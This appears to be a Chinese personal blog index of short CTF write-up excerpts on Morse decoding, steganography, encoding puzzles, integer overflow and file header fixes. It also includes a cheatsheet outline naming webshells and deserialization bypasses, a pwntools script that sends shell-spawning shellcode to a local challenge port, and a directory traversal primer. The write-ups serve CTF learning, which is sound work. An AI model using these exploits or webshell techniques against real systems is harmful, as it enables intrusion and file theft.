wubba lubba dub dub.
post @ 2023-10-22

题目简述

题目给了一个文本文件,里面都是喵喵喵,内容如下:

喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?

猜想

“喵喵?”出现了很多次,根据题目信息,这是莫斯电码,也就是说明“喵喵?”要么是点要么是横,同时我们猜想,“喵喵?”有三个字,那么三个“喵”在一起组成的“喵喵喵”有没有可能是另一个符号呢?

编写POC

写一个程序,先尝试将“喵喵?”换成横,“喵喵喵“换成点:

# encoding=utf-8
a = "喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?"
b = a.replace("喵喵?","-")
c= b.replace("喵喵喵",".")
print(c)

结果如下:

- .... . ..--.- -.- .- .-- .- .. .. ..--.- -.-. .- - ..--.- -... ..- - ..--.- -... . ..--.- -.-. .- .-.. .-.. . -.. ..--.- --. --- ..- --.. .. ..--.- -... -.-- ..--.- .-. -..-
Read More
post @ 2023-10-18

目录

工具网站
字典
常用工具
sqlmap
dirsearch
githack
wafninja
searchsploit
tplmap
常见备份文件
万能密码
一句话大全
简易图片马
文件上传
文件包含
伪协议

反序列化 魔法函数 perg_match 绕过

反序列化的私有属性要在类名前后加%00,protected在变量名前添加标记\00\00(%00%00),然后urldecode后使用unserialize反序列化,最后使用var_dump输出
preg:
https://blog.csdn.net/weixin_42789937/article/details/128667822
魔法函数以及反序列化:
https://blog.csdn.net/Reme_mber/article/details/124752229
https://blog.csdn.net/solitudi/article/details/113588692
hustler0000.github.io
_wakeup可以通过改变O:后面的数字,使其与真实数量不符即可绕过

工具网站

ctf清单:https://ctf-wiki.org/
在线ai1:https://my.aigcplus.io/home
文心一言:https://yiyan.baidu.com/welcome
在线ai2:https://c.binjie.fun/#/chat/1697008440757
在线工具:https://ctf.bugku.com/tools
在线代码执行:https://code.y444.cn/php
在线md5:https://cmd5.com/
在线反编译pyc:https://tool.lu/pyc/
词频统计:https://quipqiup.com/


字典

https://gitee.com/adminssssss/infiltration-dictionary
https://blog.csdn.net/qq_46634561/article/details/120019738


Read More
post @ 2023-10-09

题目简述

这是一道音频隐写的题目,解压附件发现是一个音频文件

Audacity and Steghind

丢进处理文件中查看频谱图:

发现有隐藏的信息,使用steghind并且用key:youseeme解压隐藏的文件:

获得flag

解压出一个文本文件“兔兔”,暗示rabbit解密,使用youseeme上面的英文作为密匙,尝试后解出flag:

踩坑总结

1.一开始不知道steghind这个工具,导致做不出来

Read More
post @ 2023-10-08

题目简述

题目给了一个压缩包,并暗示这不是压缩包,解压发现有ppt字样的文件夹,猜测是ppt文件,将zip后缀改成pptx后成功打开

寻找flag

打开ppt,ctrl+a全选,然后将所有文本框的文本调成红色,发现如下flag字段:



还有一段没找到,于是将ppt解压,在xml文件中查找,最终找到:

获得flag

将flag拼凑,得到flag:moectf{2ip_?_n0_i4_pxx4!}

踩坑总结

1.一开始找了很久最后一段,后来才想到解压开文字查找

Read More
post @ 2023-10-05

题目简述

“锟斤拷烫烫烫”明显在暗示编码错误,下载附件,发现是一种没见过的编码:
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-

UTF-7解码

经过尝试,知道这是utf-7编码(谁丧心病狂会用这种啊),解码后有这样的信息:
这是你的flag
a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262
但是flag用AES加密了,key是下面这行字的sha256(hash值的开头是b34edc782d68fda34dc23329)
所以说,codepage真的很重要啊(
在线转换,得到key为:
b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1

获得flag

通过aes解密后得到flag:

(注意所有都是hex)

踩坑总结

1.第一次做因为不知道utf-7而卡了很久
2.附上一些不那么常见的编码:

参考:https://blog.csdn.net/q20010619/article/details/120942973

感谢丁神的总结博客链接
常见编码

Read More
post @ 2023-10-05

题目简述

又是一张打不开的图片,但这一次“牛头不对马嘴”,先导入winhex查看:

png文件头

检查发现是png的文件头:

获得flag

修改后将文件后缀改为png,打开获得flag:

是马男波杰克!!!

踩坑总结

1.一开始被jpg的后缀骗了,卡了好久

Read More
post @ 2023-10-03

题目简述

nc连接后回显题目信息:

要求我们输入一个数,要令这个数没有负号但等于-114514

整形溢出

根据题目信息,可以知道变量n是整形变量,c语言中整形变量的取值范围是-2 147 483 648到 2 147 483 647,当我们输入的数超过最大值时,程序会自动回滚到最小值,比如,当我们输入2 147 483 648时,我们实际上向变量存储了-2 147 483 648这个值(就像跳绳的计数器一样),所以我们要输入-114514,只需要输入更大的数,让其回滚到-114514即可

获得flag

根据上面的思路,输入4 294 852 782即可:

踩坑总结

1.一开始不知道int有范围限制,还能回滚,导致题目做不出来

Read More
post @ 2023-10-03

题目简述

题目为打不开的图片,下载附件后用winhex打开:

发现是一个图片文件,有exif信息但是无法打开

文件头

上网搜索相关信息,发现一种修改文件头的题型,检查发现图片的文件尾是jpeg图片的文件尾,但文件头经过修改,将文件头修改为jpeg的可以打开图片:


是一张西电的风景图

获取flag

查看文件属性,发现有flag的提示:

猜测是hex格式的flag,进行hex转字符后得到flag:

踩坑总结

1.第一次做做到解密flag的时候卡住了,不知道这是hex码,以后知道了
2.附上关于文件头隐写的知识:
常见文件文件头和隐写术总结 CTF中Misc必备
前言

对常见文件文件头和隐写术做个归纳总结

文件头文件尾
图片隐写
音频隐写
电子文档隐写
Read More
post @ 2023-10-02

题目简述

题目直接说了是shellcode,而且可以脚本一把梭,那就试试看吧

检查安全性

先下载附件,放到kali里面用checksec检查一下:

checksec shellcode_level0 
[*] '/root/pwn/MoeCTF/shellcode0/shellcode_level0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

回显显示,没有任何过滤(canary found,NX disabled),可以尝试使用shellcraft构造shellcode

编写POC

一把梭的脚本如下:

from pwn import *
# r = process('./shellcode_level0')
r = remote('127.0.0.1',43039)
context(log_level='debug',arch='amd64',os='linux')
payload = asm(shellcraft.sh())
print(payload)
r.sendline(payload)
r.interactive()

Get Flag

Read More
post @ 2023-10-02

题目简述

先来看题,很经典的一个文件上传:

Debug

看起来没什么问题,那就先debug一下,先上传一个正常的文件,发现返回了地址,点击查看观察地址组成,发现这个地址被images.php处理过,不能直接利用:

尝试访问一个不存在的地址,发现返回错误:

发现有函数file_get_contents(),搜索发现,此函数可能会导致文件包含或者目录穿越,尝试发现有目录穿越漏洞,以下是关于目录穿越的知识:

什么是目录遍历?

目录遍历(目录穿越)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。

在某些情况下,攻击者可能能够在服务器上写入任意文件,(如,FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件)从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

漏洞原理

若web要显示一个商品的图像,有时候开发者会用通过HTML加载,如:

Read More
⬆︎TOP